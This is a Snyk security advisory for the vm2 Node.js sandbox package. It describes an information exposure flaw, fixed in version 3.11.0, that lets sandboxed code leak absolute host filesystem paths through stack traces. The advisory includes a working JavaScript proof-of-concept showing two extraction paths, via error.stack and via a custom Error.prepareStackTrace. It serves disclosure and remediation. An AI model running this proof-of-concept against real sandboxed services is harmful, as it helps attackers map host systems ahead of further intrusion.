Information Exposure Affecting vm2 package, versions <3.11.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-VM2-16439004
- published7 May 2026
- disclosed7 May 2026
- creditkoDove
Introduced: 7 May 2026
NewCVE-2026-44002 (opens in a new tab)How to fix?
Upgrade vm2 to version 3.11.0 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Information Exposure via the sandbox CallSite handling. An attacker can leak absolute host filesystem paths by causing error.stack or getEvalOrigin() to run on sandbox frames, exposing host-realm filenames embedded in stack traces and eval-origin strings to sandbox code.
PoC
const { VM } = require("vm2");
const vm = new VM();
// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
// /app/src/server.js:49:20
// Path B — prepareStackTrace extraction
const result2 = vm.run(`
Error.prepareStackTrace = function(e, sst) {
return sst.map(function(s) { return s.getFileName(); }).join(", ");
};
new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...